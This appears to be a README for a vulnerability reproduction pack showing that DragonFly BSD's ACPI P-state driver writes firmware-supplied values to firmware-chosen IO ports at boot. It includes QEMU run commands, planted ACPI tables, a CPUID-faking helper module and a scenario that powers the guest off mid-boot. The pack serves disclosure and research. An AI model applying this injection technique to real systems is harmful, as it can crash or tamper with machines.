# DF-5483 — ACPI P-state `_PCT`/`_PSS`: kernel writes firmware-chosen values to
# firmware-chosen IO ports, unattended at boot

## What this pack contains

A table-injection rig (the proven madt-batch vector) plus the stock DragonFly
kernel driver `cpu_pst` doing exactly what the audited code says:

```
_PCT (DSDT) ──acpi_pst_alloc_resource()──> rman IO-port reservation
                                          (no identity validation of the port)
_PSS (DSDT) ──acpi_pst_postattach()──> acpi_pst_global_set_pstate(0)   [boot, unattended]
                    └─> acpi_pst_intel_set_pstate()   (acpi_pstate_machdep.c:520)
                          └─> acpi_pst_md_res_write() (acpi_pstate_machdep.c:631)
                                └─> bus_space_write_N(port, _PSS control value)
```

## Scenarios (all boot the SAME stock kernel; only the planted tables differ)

| scenario   | ctrl GAS        | _PSS cval  | expected / observed |
|------------|-----------------|------------|---------------------|
| control    | SystemIO 0x80/8 | 0xAA       | boots; `px_dom0.*` sysctls; boot write invisible (POST port); unpriv user (uid 1001) reads `members` -> kernel reads the firmware-chosen status port; root re-fires the write via `px_global` |
| poweroff   | SystemIO 0x604/16 (PM1a_CNT) | 0x2000 (SLP_EN|S5) | **guest powers off mid-boot at the first P-state transition** (run.poweroff_console.log ends at the postattach check lines) |
| nomd       | control blob, no CPUID substitution | 0xAA | negative control: no P-state md -> no write, no px sysctls (run.nomd_control.log) |

## Prerequisites

* QEMU guest, DragonFly 6.5-DEVELOPMENT X86_64_GENERIC (this repo's rig)
* the `estforce.ko` helper (estforce.c) preloaded via loader.conf — this QEMU
  masks CPUID.01H:ECX.EST under both KVM and TCG, so the Intel md would never
  engage.  The helper substitutes ONLY the missing CPUID advertisement
  (DF-5155 "honest gap" methodology); every subsequent instruction is the
  genuine stock driver.
* iasl (on the guest: /usr/sbin/iasl) to compile dsdt_template.dsl variants
* TCG CPU model (`-machine accel=tcg -cpu SandyBridge`) so MSR 0x1a0 (EST
  enable dance in acpi_pst_intel_init) is virtualized

## Build

    # 1) compile the scenario DSDTs (on the guest)
    scp dsdt_control.dsl dsdt_poweroff.dsl dfbsd-maxx:/tmp/
    vm.sh run_root 'cd /tmp && iasl dsdt_control.dsl && iasl dsdt_poweroff.dsl'
    scp dfbsd-maxx:/tmp/dsdt_control.aml dfbsd-maxx:/tmp/dsdt_poweroff.aml /tmp/opencode/

    # 2) assemble the planted table chain (on the host)
    python3 gen_pstate.py /tmp/opencode/dsdt_control.aml   /tmp/opencode/pstate_control.bin
    python3 gen_pstate.py /tmp/opencode/dsdt_poweroff.aml  /tmp/opencode/pstate_poweroff.bin

    # 3) one-time guest setup: kenv RSDP hint + estforce preload
    vm.sh run_root 'mkdir -p /boot/modules && cp estforce.ko /boot/kernel/
                    printf "hint.acpi.0.rsdp=0x40000000\nboot_verbose=YES\nestforce_load=YES\n" >> /boot/loader.conf'

## Run

    # control (survives; shows the full driver surface)
    vm.sh down
    QEMU_EXTRA="-machine accel=tcg -cpu SandyBridge \
      -device loader,file=/tmp/opencode/pstate_control.bin,addr=0x40000000,force-raw=on" vm.sh up 240
    vm.sh run_root 'dmesg | grep -a -E "cpu_pst|control reg|check failed"; sysctl hw.acpi.cpu.px_dom0.available hw.acpi.cpu.px_dom0.members hw.acpi.cpu.px_global'
    vm.sh run_user 'sysctl hw.acpi.cpu.px_dom0.members'      # uid 1001 -> kernel port read
    vm.sh run_root 'sysctl -w hw.acpi.cpu.px_global=3000'    # re-fires the port write

    # poweroff (destructive: guest dies at boot)
    vm.sh down
    QEMU_EXTRA="-machine accel=tcg -cpu SandyBridge \
      -device loader,file=/tmp/opencode/pstate_poweroff.bin,addr=0x40000000,force-raw=on" vm.sh up 120
    # -> TIMEOUT: ssh never answers; vm.sh status -> down; boot.log ends at the
    #    postattach "P-State configuration check failed" lines (the write fires
    #    microseconds later on the surviving domain, before another printf)

## Expected decisive evidence

* run.poweroff_console.log — console output stops forever right after
  `ACPI: domain1 P-State configuration check failed`; the surviving domain's
  first transition (acpi_pst_global_set_pstate -> acpi_pst_md_res_write ->
  outw(0x604, 0x2000)) ACPI-powers-off the machine. ssh never comes up.
* run.dword_accesswidth.log / run.nomd_control.log — differential controls.
